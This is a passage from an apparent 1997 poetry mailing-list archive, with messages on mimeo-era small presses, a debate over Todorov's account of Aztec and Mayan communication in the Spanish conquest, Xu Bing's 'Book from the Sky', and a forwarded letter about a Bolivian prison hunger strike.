Shameless Hussy was the imprint of Alta's infamous Berkely based imprint. Late in the sixties, I suspect she started with a mimeograph machine and then went "kind of" multilith. The books were invariably done on the cheapest stock imaginable with varying and fading inks. All of which corresponded to the aesthetic of a mother working out of a kitchen amongst kids and other obligations, no support from no where - the books were never more than 75 cents. Her best title "No visible means of support" was a lovely ironic play on Spicer's line. Her most famous book was "For Colored Girls..." by Ntozake Shange - which went Broadway ballistic.

The Women's Press Collective was an equally significant player among the staple-bound. (In fact I think 'staple bound' is probably the common denominator of what's been discussed - rather than just mimeo. I think it's also important to see the sixties as something that really begins - as a national or global phenomenon -- in 1964 and ends about 1975.) Anyway, in addition to Alta, the WPC was the local, if not national ground breaker in terms of new feminist writing. The book EDWARD THE DYKE by Judy Grahn - at least in my opinion - was not only good, but a crucially provocative text.

Teachers & Writers Collaborative: Back in the very early days circa 1965 - under the initial directorship of Herb Kohl - TW did some of the first works of Victor Cruz, David Henderson and a bunch of other then young writers working in the NY School System. Stapled and printed, either in mimeo or off-set (my copies have since disappeared) these little black ink on cheap white paper phamplet editions, especially the Henderson and the Cruz, were urban, edgy, and very popular, striking a chord, or fire among the young. Distributed primarily in the schools, they were no doubt in part responsible for initiating Victor Cruz's early career. When he was about 19, SNAPS (1968, Random House) sold over 10,000 copies in cloth, going thru several editions.

I can't imagine an exhibit of "sixties" spirited publications without these books. My own mag "Shocks" comes at the early edge of the seventies and was definitely pushed forward by the political etc. smarts of these three different presses.

(I welcome corrections or additions to any of this info!)

Cheers,
Stephen Vincent

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182. Mark Weiss
Re: asteroid to hit earth
Fri 7 Mar 1997

There seem to be some strange notions afloat. Here's a few correctives (I haven't read the Todorov, so I don't know quite who I'm correcting): 1. Mayans are not Aztecs. Which Mayan defeat are you talking about? The abandonment of the great centers that tourists like me enjoy exploring? That happened several centuries before the Aztecs arrived a thousand difficult miles further north, to say nothing of the Spanish. Do you mean the 16th century defeat of the highland Maya by the Spanish, which seems to have been accomplished more by way of the agency of strategic alliances and European diseases, the Quiche being far more ready to fight than Moctezuma had been? Do you mean the defeat of the last of the post-classic Maya kingdoms in 1698? Do you mean the defeat

by the Mexicans of the independent Maya state that existed in the Yucatan for much of the latter half of the 19th Century and the first part of the 20th? What about all those Mayans who still live in their original homelands and who recently have managed to force the Mexican and Guatemalan governments to the bargaining table? 2. We have little idea how Mayans and Aztecs communicated. What survives from that time are government proclamations on stone monuments, creation myths, Nahua court poetry, and litle else. Except for the latter these documents do tend to be communications between "persons and the world," but so are the inscriptions on the Lincoln Memorial and a billboard ad for Miller Light. 3. "Every event is interpreted as the herald of another event (Which implies that nothing in this world occurs randomly)" could also be said of medieval Christianity, which the early Renaissance Spaniards who invaded Mexico had not yet, and never really, succeeded in escaping. The end of the story of humankind as both individuals and as a whole was well-known and largely agreed-upon. 4. After the Aztecs got rid of Moctezuma they got rid of the Spanish. When the latter came back with greater force the Aztecs resisted heroically, despite their language deficits, and were ultimately defeated by smallpox, not syntax. Moctezuma hesitated, many others did not.

Sometimes those of us whose primary interest is language tend to inflate its importance, coincidentally inflating our own in the process.

At 10:19 AM 3/8/97 +1300, you wrote:
>Re Mayans and Doomsday:
>
>THe push here is two fold: 1) Mayan notion of time being cyclic, and the
>expectations that extinction and rebirth is natural and fated. Hence Aztecs
>represent themselves as legitimate successors to the Toltecs, as opposed to
>conquerors of them. The problem arises when the Spanish arrive and Cortes
>goes on a spree. In a real sense there is a level of indecision based on
>religous belief about 'This is fated'.
>
>But for us I think what is more interesting is the argument that the Mayans
>were defeated by language: it was their inability to interpret language
>laterally that leads to their downfall (or so Todorov would argue)
>
>ipso facto: Indians and Spaniards practice communication differently. The
>Indians devote a great deal of their time to the interpretation of
>messages, and this interpretation takes elaborate forms, which derive from
>various kinds of divination. Interpretation is systemnatic (ie dividing
>time into a thirteen week calendar) and contextual (which takes the form of
>omens) Every event is interpreted as the herald of another event (Which
>implies that nothing in this world ocurrs randomly). The Aztecs are

>convinced that all such divinations come true and only very rarely resist
>the fate declared to them. In Mayan the word fate also signifies 'prohecy'
>or 'law'.
>
>The world is from the start posited as overdetermined, everything is
>forseeable hence everything is forseen, Secondly the society is highly
>heirarchical and regulated: the individual exists for the group, not
>themselves.
>
>The Spanish on the otherhand practice a different kind of communication: If
>you say there exist two major kinds of communication: one between person
>and person, the other between person and the world, the Mayans and Aztes
>practised the latter and the Spanish the former.
>
>Communciation of couse is not limited to that between individual and
>individual, it also encompasses that between individual and the woder
>social group, the natural world and the religious universe.
>
>When a messanger comes to Montezuma and tells him what he has seen
>(Spanish ships and horses) he is thrown into prison. The magicians try to
>have prophetic dreamns to interpret the supernatural omens. So when the
>information about the Spanish reaches Montezuma his interpretation of it is
>made in the context of communication with the world, not of that with other
>individuals.
>
>It is this particular way of practicing communucation (neglectinmg the
>human dimsension, privaliging contact with the world) which is responsible
>for the Indians distorted image of the Spanish during the first encounters,
>and notable for the paralyzing belief that the Spanish are gods.
>
>Perhaps more to come on the production of discourse and symbols by the
>Mayans ie discourse as symbols, as symbolic - each word is a signifier
>rather than the signified etc
>
>>Thanks, asteroidals, for some much-needed humor . . .
>>
>>but seriously folks, is anyone interested in this and other doomsday
>>scenarios as examples of "millenium fever"? -- strange cults tend to
>>gather around the fin de siecle (not to mention that we're all, anyway,
>>writing under a death sentence, as several have mentioned)
>>
>>But I thought the Mayans had given us until December, 2012.

>
>

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183. **Demian Reed**
Re: asteroid to hit earth
Fri 7 Mar 1997

---

re Mayans And Doomsday

Plus This! Previous transmission concerned communication: what is peculiar about this for the Mayans and Aztecs is that there was an absence of writing. Stylised drawings, the pictograms used among the Aztecs are not a lesser degree of writing: they note the experience, not the langauge (one reason why Charles Olson was so attracted to Mayan civilisation in terms of its resemblance to Projective Verse - but that is another story).

The absence of writing is revelatory of symbolic behaviour in general, and at the same time, the capacity to understand the 'other' appears to be illustrated by another fact. The three great AmerIndian civilisations encountered by the Spanish are not located on the same evoution of writing. Then Incas are the most unfamiliar with writing, possessing mnemotechnical use of braided cords; the Aztecs have pictograms and the Mayas have pictograms with rudiments of phonetic writing. This corresponds directly to the level of belief that the Spanish are Gods. The Incas firmly beieve in this divine nature, the Aztecs do so only during initial exposure, and the Mayans raise the question and answer it determining that the Spanish are not gods, but rather 'strangers' or 'bearded ones' or 'powerful ones'.

What is important that as writing cannot assume the role of memory support, speech must do so - through ritual discourse (bardic activity). The essential feature of these discourses then, is that they come from the past - both in production and interpretation. In to this past -oriented , tradition dominated world erupts the conquest : an absolutely unpredictable event, surprising and unique, even bringing with it another conception of time (linear as opposed to cyclical).

The collsion between a ritual world and a unique event results in Montezuma's incapacity to react. Masters of ritual discourse the Indians are inadequatte in a siuation requiring improvisation, and this is precisely the siuation of their conquest. Their verbal experience favors paradigm over syntagm, code over context, conformity to order over effacicy of the moment, tha past over the present.

So what lesson for poetics and the threat of an asteriod (ie an unpredicatble, unique event)? Well, you will say, but the asteriod is predictable, trackable, and not unique as it has happened before. Which is precisely the point. Language

denotes not only abiity to communciate and style, but also predicates a certain genus, or type of interaction with the world and other people. The usefulness of poetics - of investigation into language, is that it is not simply investigation into langauge, but also investigation into relationships (with people, world, the future and the past) and any new way of interpreting or dealing with these future events has to have a basis in the way we understand and deal with the present. That is why we write poetry.

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184. **Alan Jen Sondheim**

Re: Mimeo Miss, Ms., Misses

Fri 7 Mar 1997

Let's never forget Yugen or Birth, both of which, at least for me, exerted an exhaustive influence. The latter (Tuli Kupferberg) published early childhood diaries of Anais Nin, the first I'd heard of her.

Alan

_____ URL: http://jefferson.village.virginia.edu/~spoons/internet_txt.html Images: http://www.cs.unca.edu/~davidson/pix/ Telephone [redacted] CuSeeMe: 166.84.250.149 +++++ Editor, Being On Line, Lusitania, 1997

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185. **Demian**

Re: asteroid to hit earth

Fri 7 Mar 1997

Brief Commects in () below with the NB that I was trying to make a point about lanaguage not give a history lecture.

> *1. Mayans are not Aztecs. Which Mayan defeat are you talking about?*

(Defeat of Aztecs after invasion by Cortes who first landed in 1519)

> *2. We have little idea how Mayans and Aztecs communicated. What survives from that time are government proclamations on stone monuments, creation myths, Nahua court poetry, and litle else. Except for the latter these documents do tend to be communications between "persons and the world," but so are the inscriptions on the Lincoln Memorial and a billboard ad for Miller Light.*

(see comments in previous letter - three key types of langaue - Aztec Symbolic drawing (pictograms), Mayan Phonetic writing and Incas braided cords)

> *3. "Every event is interpreted as the herald of another event (Which implies that nothing in this world occurs randomly)" could also be said of*

> *medieval Christianity, which the early Renaissance Spaniards who invaded Mexico had not yet, and never really, succeeded in escaping. The end of the story of humankind as both individuals and as a whole was well-known and largely agreed-upon.*

Agreed!

> *4. After the Aztecs got rid of Moctezuma they got rid of the Spanish. When the latter came back with greater force the Aztecs resisted heroically, despite their language deficits, and were ultimately defeated by smallpox, not syntax. Moctezuma hesitated, many others did not.*

(Certainly there a number of reasons for defeat - mainly due to Spanish use of horses, tactics, superior weaponry etc. and of course the long term imapct of intriduction of small pox. The point is about difference in interpretation of language rather than the rise and fall of civilisations)

> *Sometimes those of us whose primary interest is language tend to inflate its importance, coincidentally inflating our own in the process.*

(ouch - Sometimes those of us whose primary interest is self importance tend to inflate it coincidentally by commenting on others' use of langauge.)

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186. Mark Weiss
Re: asteroid to hit earth
Fri 7 Mar 1997

In medieval christianity every event, even the most intimate, replicates and repeats another event, and will until the end of time, in a world designed as a set of symbols revealing god's truth. An intensely symbolic world. Cortez invades Mexico less than 50 years after moveable type is introduced to the european world. Before that, book production was rather Mayan (remember that the jesuits burned untold numbers of codices). The writing system, which was a lot more than rudimentarily phonetic, was, we think, practiced only by a class of scribes and aristocrats. Of course, the same had always been true in Europe--in both places the vast majority depended on oral transmission and memory systems--and still was in 1519. European churches were vast books of symbols for the illiterate. As late as 1640 there were only 14 printing presses, each capable of producing one sheet at a time, in all of England. If language explains Moctezuma's undoing it better explain Cauhatemoc's (and Tupac's) resistance. If pictograms are related in this easy way to belief systems and ability to react to the unexpected are the Chinese (were they ever) like the Mayans and Aztecs? Some of the Spaniards were armed with an alphabet, but all of them were armed with microorganisms, guns, horses, attack dogs, sailing ships and steel. Europeans and Aztecs/Mayans/Incas were clearly very different, but perhaps

not so much in the ways portrayed. Large historical interpretations usually benifit from deep historical foundations.

At 12:59 PM 3/8/97 +1300, you wrote:
>re Mayans And Doomsday
>
>Plus This!
>Previous transmission concerned communication: what is peculiar about this
>for the Mayans and Aztecs is that there was an absence of writing. Stylised
>drawings, the pictograms used among the Aztecs are not a lesser degree of
>writing: they note the experience, not the langauge (one reason why Charles
>Olson was so attracted to Mayan civilisation in terms of its resemblance to
>Projective Verse - but that is another story).
>
>The absence of writing is revelatory of symbolic behaviour in general, and
>at the same time, the capacity to understand the 'other' appears to be
>illustrated by another fact. The three great AmerIndian civilisations
>encountered by the Spanish are not located on the same evoution of writing.
>Then Incas are the most unfamiliar with writing, possessing mnemotechnical
>use of braided cords; the Aztecs have pictograms and the Mayas have
>pictograms with rudiments of phonetic writing. This corresponds directly to
>the level of belief that the Spanish are Gods. The Incas firmly beieve in
>this divine nature, the Aztecs do so only during initial exposure, and the
>Mayans raise the question and answer it determining that the Spanish are
>not gods, but rather 'strangers' or 'bearded ones' or 'powerful ones'.
>
>What is important that as writing cannot assume the role of memory support,
>speech must do so - through ritual discourse (bardic activity). The
>essential feature of these discourses then, is that they come from the past
>- both in production and interpretation. In to this past -oriented ,
>tradition dominated world erupts the conquest : an absolutely unpredictable
>event, surprising and unique, even bringing with it another conception of
>time (linear as opposed to cyclical).
>
>The collsion between a ritual world and a unique event results in
>Montezuma's incapacity to react. Masters of ritual discourse the Indians
>are inadequatte in a siuation requiring improvisation, and this is
>precisely the siuation of their conquest. Their verbal experience favors
>paradigm over syntagm, code over context, conformity to order over effacicy
>of the moment, tha past over the present.
>
>So what lesson for poetics and the threat of an asteriod (ie an

>unpredicatble, unique event)? Well, you will say, but the asteriod is
>predictable, trackable, and not unique as it has happened before. Which is
>precisely the point. Language denotes not only abiity to communciate and
>style, but also predicates a certain genus, or type of interaction with the
>world and other people. The usefulness of poetics - of investigation into
>language, is that it is not simply investigation into langauge, but also
>investigation into relationships (with people, world, the future and the
>past) and any new way of interpreting or dealing with these future events
>has to have a basis in the way we understand and deal with the present.
>That is why we write poetry.
>
>

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187. **Mark Weiss**
(no subject)
Fri 7 Mar 1997

Sometimes those of us whose primary interest is language tend to inflate its
>importance, coincidentally inflating our own in the process.

(ouch - Sometimes those of us whose primary interest is self importance tend to inflate it coincidentally by commenting on others' use of langauge.)

NB I use "us" advisedly--it's a trap I've been known to fall into myself.

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188. **Schuchat Simon**
Re: asteroid to hit earth
Fri 7 Mar 1997

On Fri, 7 Mar 1997, Mark Weiss wrote:

> *If pictograms are related in this easy way to belief systems and ability to react to the unexpected are the Chinese (were they ever) like the Mayans and Aztecs?*

short answer is that the Chinese writing system, despite what Ezra Pound thought, is not pictographic. the characters are put together from elements that are variously phonetic, symbolic, mimetic, and which are recombined, re-current, etc. Although learning to read Chinese is generally conceived of as learning each word separately,in fact that isn't the case, e.g., the most common example is the character for a kind of fish that consists of the fish radical (re-curring character component) and a phonetic that sounds like the oral name of this fish. it is not alphabetic, of course, but in some senses it is syllabic in

construction. (the Korean writing system is fully phonetic but it constructs words into identically sized boxes, so that they look like characters) there is a modern Chinese artist (I forget the name) who creates these wonderful "tian-shu" (heavenly or abstruse books) that consist of line after line of nonexistent characters, all of which could be real characters, since they are composed out of the regular character elements: these works are like inventories of all the words that do not yet exist in written Chinese.

meanwhile, that asteroid must be getting closer.

↑ Index

189. Daniel Zimmerman

Re: Russkies

Fri 7 Mar 1997

Pritchett,Pat @Silverplume wrote:
>
> Watched a portion of Tarkovsky's "Stalker" last night. Had to break off to
> read "Ivan Ilyich" for class. My query is this: who is Arseny Tarkovksy,
> listed in credits for writing poetry for film? Is he related to Andrei?
> Seems I've seen this name before in some anthology.
>
> Patrick Pritchett

Patrick -

In response to your question, Arseny Tarkovsky, (b. 1905), the poet, was Andrey Tarkovsky's father. Andrey frequently quoted his father's poetry in his films. If you are interested in knowing more about the filmmaker and/or his father the poet get ahold of the book, Sculpting In Time: The Great Russian Filmmaker Discusses His Art, translated from Russian by Kitty Hunter-Blair, University of Texas Press, Austin, 1987, ISBN 0-292-77624-1. If you're in Buffalo get this at Talking Leaves. That's where I got my copy.

Caryll Balzano

PS -
Check out all Andrey's films. He is brilliant. I'd love to have a discussion by e-mail about his work and what you think of it.

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190. **Mark Weiss**

Re: asteroid to hit earth

Fri 7 Mar 1997

Thanks for the elucidation. Much the same is true of Mayan writing, as we've learned in the last few decades. Olson could not have known this. So the question, as a test of a theory, still stands.

At 09:16 AM 3/8/97 +0800, you wrote:
>On Fri, 7 Mar 1997, Mark Weiss wrote:
>
>> If pictograms are related in this easy way to belief systems and ability to
>> react to the unexpected are the Chinese (were they ever) like the Mayans and
>> Aztecs?
>
>
>short answer is that the Chinese writing system, despite what Ezra Pound
>thought, is not pictographic. the characters are put together from
>elements that are variously phonetic, symbolic, mimetic, and which are
>recombined, recurrent, etc. Although learning to read Chinese is
>generally conceived of as learning each word separately,in fact that
>isn't the case, e.g., the most common example is the character for a kind
>of fish that consists of the fish radical (recurring character component)
>and a phonetic that sounds like the oral name of this fish. it is not
>alphabetic, of course, but in some senses it is syllabic in
>construction. (the Korean writing system is fully phonetic but it
>constructs words into identically sized boxes, so that they look like
>characters) there is a modern Chinese artist (I forget the name) who
>creates these wonderful "tianshu" (heavenly or abstruse books) that
>consist of line after line of nonexistent characters, all of which could
>be real characters, since they are composed out of the regular character
>elements: these works are like inventories of all the words that do
>not yet exist in written Chinese.
>
>meanwhile, that asteroid must be getting closer.
>
>

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191. Charles Alexander
Re: asteroid to hit earth
Fri 7 Mar 1997

> *there is a modern Chinese artist (I forget the name) who creates these wonderful "tianshu" (heavenly or abstruse books) that consist of line after line of nonexistent characters, all of which could be real characters, since they are composed out of the regular character elements: these works are like inventories of all the words that do not yet exist in written Chinese.*

Is this Xu Bing? I ask only because this is the only Chinese "book" artist I know, but I don't know much about his work, would love to know more.

charles alexander

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192. Herb Levy
Marinetti, Musica Futurista, and more
Fri 7 Mar 1997

Anomalous Records here in Seattle just got several copies of a double CD re-issue of the Cramps LPs Musica Futurista, mentioned earlier in the week by Jerry Rothenberg as a source for recordings of Marinetti. The price was about US$29. They'll also be getting a new Heidseck book/CD set and new Henri Chopin CDs sometime later this month.

Anomalous Records
1402 E. Pike St., Seattle, WA 98122-4148, USA
telephone: [redacted] fax: [redacted]
e-mail: <[redacted]>
www: <http://www.wolfenet.com/~anomaly/>

Herb Levy
[redacted]

↑ Index

193. Hugh Steinberg
Re: mimeo revolution
Fri 7 Mar 1997

It comes from mimeograph, which according to Websters is a trademark. Mimeo probably comes from mimesis, to imitate or mimic, and graph is writing. Also known as a ditto machine, be glad you don't have to use one on a regular basis: they're messy, the paper is wet, the ink bleeds and smudges, the ditto

masters exude blue dust, and they break down constantly. Pre-photocopier office technology at its finest.

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194. Steven Clay
Chinese character
Sat 8 Mar 1997

This does very much sound like Xu Bing & his "A Book From The Sky" a several volume masterwork. Each of the characters in his imaginary alphabet was carved in wood and hand printed in China where Xu Bing lived until 1990. The design of the work is modeled after traditional Chinese scholarly publishing. About a hundered copies were produced. The *entire edition* was shown as one piece at the Elvehjem Museum of Art (Univ of Wisc-Madison) several years ago. They made a useful catalog which is probably still available at about $10. The catalog is called "Three Installations by Xu Bing" (Elvehjem Museum of Art, 800 University Ave., Madison WI 53706.

Date: Fri, 7 Mar 1997 19:59:05 -0700
From: Charles Alexander <[redacted]>
Subject: Re: asteroid to hit earth

> *there is a modern Chinese artist (I forget the name) who creates these wonderful "tianshu" (heavenly or abstruse books) that consist of line after line of nonexistent characters, all of which could be real characters, since they are composed out of the regular character elements: these works are like inventories of all the words that do not yet exist in written Chinese.*

Is this Xu Bing? I ask only because this is the only Chinese "book" artist I know, but I don't know much about his work, would love to know more.

charles alexander

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195. MAXINE CHERNOFF
Offset OINK!
Sat 8 Mar 1997

Dear Listees: OINK! Magazine, 1971-1985, was an offset magazine. Issues 5-11 were done in our own dining room on an AB Dick Offset table model that rattled the whole place when it worked. Then we'd use a coffee mug to make the middle fold and have a stapling party. It (the mag.) was the precursor to NEW AMERICAN WRITING, which still publishes many of the same people.

Maxine Chernoff

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196. Burt Kimmelman
Special Issue of THE NATION on Publishing
Sat 8 Mar 1997

Daniel Bouchard et alia,

Now that Saturday has rolled around I have a moment to give a more to the point response to your comments suggesting your disappointment with the issue of The Nation dated 3/17/97, whose cover story is "The Crushing Power of Big Publishing." While I accept your criticism of the tendentious tone of the cover article, I do not agree that what the article contains has all been said before. I'd like to think that I more or less keep up with this subject; and I learned a few things from the article about how and why news does and does not get reported, about the esthetics of that reportage and about its ethics as well, about how and why books of all stripes are or are not nowadays getting published or if they are getting published, and are worthy, why they may hardly see the light of day, and so on.

I hasten to point out, moreover, that the issue contains not one article on this subject, but six informed articles (not including a column called "Media Matters," which I will choose to count as a seventh relevant piece).

Did you note these other articles before you, in my regard, and with all due respect for what I believe, based on your past commentary on this list, is your integrity and acuity, glibly trashed a very important news event?

I only hope that others on this list will still feel inclined to check out the issue. I thought to mention it here especially because so many of us are involved in, and believe in, small press publishing, and in bookstores, and in literature.

Best wishes,

Burt Kimmelman

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197. Gabrielle Welford
Dan in La Paz (fwd)
Sun 9 Mar 1997

I thought you'd like to know about this. Hurts my heart. gab.

---------- Forwarded message ----------
Date: Fri, 28 Feb 1997 23:43:30 +0100
From: Joy Moore <[redacted]>

The folowing is a forwarded message from Dan Moriarity, who is one of our friends from undergraduate and is now doing missionary work in La Paz, Bolivia.

> *24 February 1997, La Paz, Bolivia*
>
> *Hello family and friends,*
> *I'm writing to you all again to tell you about some recent developments here in La Paz. I mentioned in my last big e=mail that I was a little worried about an impending hunger strike. Well, it has started.*
> *In San Pedro, the men's prison where I work, and several other prisons in Bolivia, the prisoners have begun an indefinite "huelga de hambre." They have certain demands, and they plan on continuing the strike as long as it takes to get those demands met. During this strike they will only drink water and perhaps mate de coca (coca tea). They will be allowed to chew coca leaves, which Bolivians commonly do to kill hunger pain. Eight of the prisoners in San Pedro have begun a "huelga dura" (hard strike) in which they will not even chew coca or drink tea. They have actually sewn their mouths shut with surgical needles and thread, leaving just enough space to sip water.*
> *The demands are simple and reasonable. In fact, ironically so. The main thing many of the prisoners want is to be judged. Retardation of justice is a huge problem in Bolivia. Many of the accused have been in prison for years without trials or sentences (the eight inmates in the "huelga dura" have been in for over six years without trials under "ley 1008," the aggresive Bolivian anti-narcotics law).*
> *A law was passed a while back saying that if prisoners with serious charges were not tried within a year, they must be given provisional freedom until tried and judged. Well, the year is now up, and judges in many cases have simply refused to apply the law. The prisoners are demanding that the law be executed. Their second big demand is that parole be reinstated for those with serious sentences. There are conflicting policies currently on the books, as parole is still guaranteed by one law, but another proposal has been passed by certain bodies aboloshing it. It is not clear whether the proposal is legal, but it is clear that parole is not being granted. Both of these situations are especially urgent when one considers that San Pedro, not atypical of Bolivian prisons, was built for 300 prisoners and currently houses 1290, not counting the children who often stay there with their fathers.*
> *The hunger strike is a passive/pacifistic action. However, there were ugly incidents last night as the prisoners prepared to begin. A secret police agent was found posing as a prisoner and trying to turn other prisoners against the strike, and he was beaten up by cell-block delegates. Police then gassed the prison (tear gas is common and terrible enough in the streets of Bolivia, but in a prison there*

is nowhere to run to escape it). There are now over a hundred riot police inside the prison. Negotiations have been going on all day. The strikers have closed themselves into the chapel. Today as I stood with a group of women (family-members of inmates) across the street from San Pedro, the police
came and tried to send the women away. They were threatening and insulting (I heard one offer tell a woman with one eye bandaged over that she needed to see the situation "with both eyes"), but I ran and got some press people who were down the street, and they came with camaras and scared the police away.
I was inside San Pedro yesterday (before any of the ugliness began). I went to mass there, and then met with
some of the inmates with whom I work (in theology classes and a Base Christian Community). The men were prepared for the worst. They spoke of a strike "with all the consequences." Last month, when I first heard talk of a strike, a friend said it would be a "Bobby Sands-type" strike, refering to the IRA prisoner who died in a British jail during a hunger strike for prison reforms.
Needless to say, it was difficult to say good-bye to good friends as I left the prison yesterday, and hurt to watch the gate close behind me.
Several situations make this a tough fight for the prisoners. Mainly, the MRTA hostage situation in Lima, Peru. Many of the prisoners to whom the provisional liberty law should apply are political prisoners,
charged with terrorism-related crimes. There are even MRTA prisoners here in La Paz. All the groups tend to be lumped together and viewed in the same light as the MRTA, and so no judge or politician is looking to do them any favors while the hostage crisis continues. Also, it is an election year, which makes public perception and misperception, especially regarding terrorism, more important than true justice. I got some insight into the attitudes of the authorities when the judge in charge of the case of one group of political prisoners said that the prisoners themselves were as responsible as anyone for the postponement of their trial because they had requested an investigation into their tortures! So, it looks like a long, hard struggle has begun.
I promised my friends in San Pedro that I would write this message, so that all of you, in Asia, Africa, Europe, North and South America, would know about their strike and their cry for justice. They are not demanding absolution, nor even new laws. Only that the laws already in place to protect their basic rights be excercised. They would very much appreciate your solidarity, in whatever form. Personally, I have decided that, as long as the strike continues, I will fast, "Ramadan style." That is, I will only eat after the sun goes down. For those of you who observe Lent, you might want to consider this or something similar as a Lenten observance and a way to be in communion with the prisoners of the Bolivian penal system.

> *You internet masters may look for ways to pressure the Bolivian Government from wherever you are. But most of all, the prisoners would like to know that they are in your thoughts and prayers. Prison is a lonely place, but shut into a room without visits or food, it must be overwhelmingly so. For myself and for them, I thank you.*
> *Viva La Huelga!*
> *Peace and Justice,*
> *Dan*
>
> *Daniel J. Moriarty*
> *MMAF Bolivia*
>
> *ps For any of you who might read this and worry about me, please don't. I will not be entering the prison while things are so tense. I am convinced that the kind of moral/spiritual support I am asking of all of you is the best way that I can help right now, and I do not wish to jeopardize my work in the prisons by getting in any trouble with the police. And as for those of you (MOM) who worry about skinny little Dan deciding to fast, well, the sun has just gone down on day one of the strike, and I am about to prepare myself a heaping batch of Spaggetti Carbonara. The main objective here is mindfulness and solidarity, not self-abuse.*
> ---
> *Daniel Moriarty*
>
> *Telefono: - Fax:*
> *E-mail:* [redacted]

↑ Index

198. Eliza McGrand- CVA Guest
is silence golden?
Sun 9 Mar 1997

no messages for two days -- is server down (mine, poetics)? is this silence better than our usual loud chatter?
e
ps
what do people think about the message on umass amherst occupation -- is it for real? is it a necessary stand?
e

↑ Index

199. **David R. Israel**
Re: is silence golden?
Sun 9 Mar 1997

Sun, 9 Mar 1997 08:03:57, Eliza McGrand asks:
> is silence golden?

good question! Also: is e-chat silvern?

> *no messages for two days -- is server down (mine, poetics)? is this silence better than our usual loud chatter?*

same deal here -- but now seems the wheels are rollin' again -- seven msgs. lately circulated --

incidentally, though I usually get Poetics in digest form, I find that if I care to go no-digest for a time, presto! the listserv sends me an immediate part-digest of what's appeared since the last digest. Very convenient. But trying that yesterday & even earlier today, nada! nuthin'! -- so I'd say, yep, the Buffalo had wandered to another pasture. Now guess it's back in the proper plot.

Thanks, Burt K., for the further notes re: the current Nation -- will check it out. Just now reading something or other in The New Yorker, the Nation was characteized as a "neoliberal" publication (in contrast to some other mentioned as "neoconservative") -- maybe I've been living in the forest or something, but don't recall seeing this "neoliberal" as a modifier much anywhere before. Perhaps they merely wanted a nice parallelism w/ the long-ballyhooed neocon adjectival.

d.i.

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.....,
1.....,
\\\\\\\\\\\\\\\\\\\\\/\0/\/////////////////...'
.o.o.o.o.o.o.o.o.o.o.o.o.o.o.o.o.o.o....'
///\\\\\\/////////\/\\\o///\/\\\\\\\\\/////\\\...'
.David.....Raphael.....Israel...'
<[redacted]>
[&/[redacted]]
{telephonic.location.202/[redacted]}
| "...honk if you believe in geese" |
\\\/////\\\\\\\\\/\//&\\\/\/////////\\\\\\/////..'

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200. **Maria Damon**
call for papers redux
Sun 9 Mar 1997

hey guyzies, deadline has been pushed back to april 1. i'm getting anxious; not too much cross-cultural stuff's been passing thru my mailbox; please share and circulate to other lists (postcolonial, american studies, cultural studies, af-am, etc)!!!

CALL FOR PAPERS

Conference: Cross-Cultural Poetics
Dates: October 16-19, 1997
Place: University of Minnesota, Minneapolis Campus
Keynote Speakers: Kamau Brathwaite, Diane Glancy, Dennis Tedlock, Kirin Narayan, David Antin

Despite artificial disciplinary barriers, ethnographers & poets have in recent years come to realize how similar their projects are. Cross-Cultural Poetics seeks to address the increasingly untenable boundaries between poetic & ethnographic practices. The conference will focus on the role of poetry in the on-going discourses of multiculturalism, ethnography, and literary theory and practice. While recent years have seen a debate in "how culture is written (about)" and most of these debates make extensive use of the term "poetics," poetic discourse itself has not been foregrounded in these debates. Construing the term "poetry" fairly broadly, we invite poets and scholars working in a broad range of fields -- anthropology, urban studies, ethnic studies, folklore, literature and literary theory, sociology, history, publishing, film, American studies, performance studies, ethnomusicology, cultural studies, etc. -- to propose readings, papers or panels that address the topic of cross-cultural poetics. the following are suggested topics, but you need not feel limited to them:

- Comparative Poetries &/or Poetic Traditions
- Oral/Literate Interfaces or Standoffs
- Anthropological Methodologies Applied to Poetic Texts, Communities, Events, or Individual Poems or Poets
- Ethnography as Poetry/Poetry as Ethnography
- Ethnic, Folkloric & Vernacular Poetries
- Poetry as Cultural & Social Praxis
- Poetry as Cultural & Social Critique
- Constituting Communities through Poetic Activity
- Poetry as Mass Culture
- Poetry & the Public Sphere
-Poetry and Politics
- The Anthropology of Writing & the Writing of Anthropology

- Representing Self/Other
- Issues in Cultural Translation
- "Ethnopoetics": Reappraisals?
- Poetry & Other Media (Song Lyrics, Music, Film, Movement, Visual Arts, etc.)
- Close Readings of &/or Listenings to Ethnographic Documents
- The Poetics of Thick Description
- Ritual, Play, etc. as Elements in Poetic Composition
- The Act of Inscription: Fieldnotes, Notebooks, etc.
- The Cultural Migration of Texts
- Hybridization of Genres & Traditions
-Trans/post/supra national Poetix?

PAPERS (and Writing Samples for people wanting to read) AND PANEL PROPOSALS (a 1-2-page abstract) should be sent by April 1, 1997 to Maria Damon, English Dept., 207 Lind Hall, University of Minnesota, Minneapolis MN 55455.

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201. Douglas Barbour

Re: Pogo books?

Sun 9 Mar 1997

I got behind on reading the list, but if anyone is still interested, Dragon Press used to have a bunch of the Gregg Press reprints of Pogo books. You could try them at Dragon Press, PO Box 78, Pleasantville, NY, 10570. There were nine volumes, in hardcover @ $30, or #20 each.

==========
==========

Douglas Barbour
Department of English

University of Alberta
Edmonton Alberta T6G 2E5
[redacted] FAX:[redacted]
H: [redacted]

Shakespeare
drag yr mouldy old bones

up these stairs & tell me
what you died of
I think
I've got it
too.
Sharon Thesen

↑ Index

202. Sylvester Pollet
Re: is silence golden?
Sun 9 Mar 1997

Sometimes silence is in the ear of the beholder. That is to say, I've been getting messages--suggest you check the archive to see/hear. (p.s., don't know about the p.s.)

> *no messages for two days -- is server down (mine, poetics)? is this*
> *silence better than our usual loud chatter?*
> *e*
> *ps*
> *what do people think about the message on umass amherst occupation -- is*
> *it for real? is it a necessary stand?*
> *e*

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203. John Cayley
book (not asteroid) from the sky
Sun 9 Mar 1997

> *there is a modern Chinese artist (I forget the name) who*
> *creates these wonderful "tianshu" (heavenly or abstruse books) that*
> *consist of line after line of nonexistent characters, all of which could*
> *be real characters, since they are composed out of the regular character*
> *elements: these works are like inventories of all the words that do*
> *not yet exist in written Chinese.*

Strange, I had just been thinking/writing about the 'Book from the Sky'. This is by the excellent Xu Bing (surname Xu), currently resident in NYC and exhibiting widely. Not sure that I agree with 'all the words that do not yet exist in written Chinese', I think they are a bit further out than that (but coming closer so, *watch the skies*).

I plan to do an essay on Xu Bing's work for a forthcoming book on Chinese literary/artistic culture in the 90s. Here is something I recently wrote about Xu Bing's work and emailed to a well-known colleague of ours:

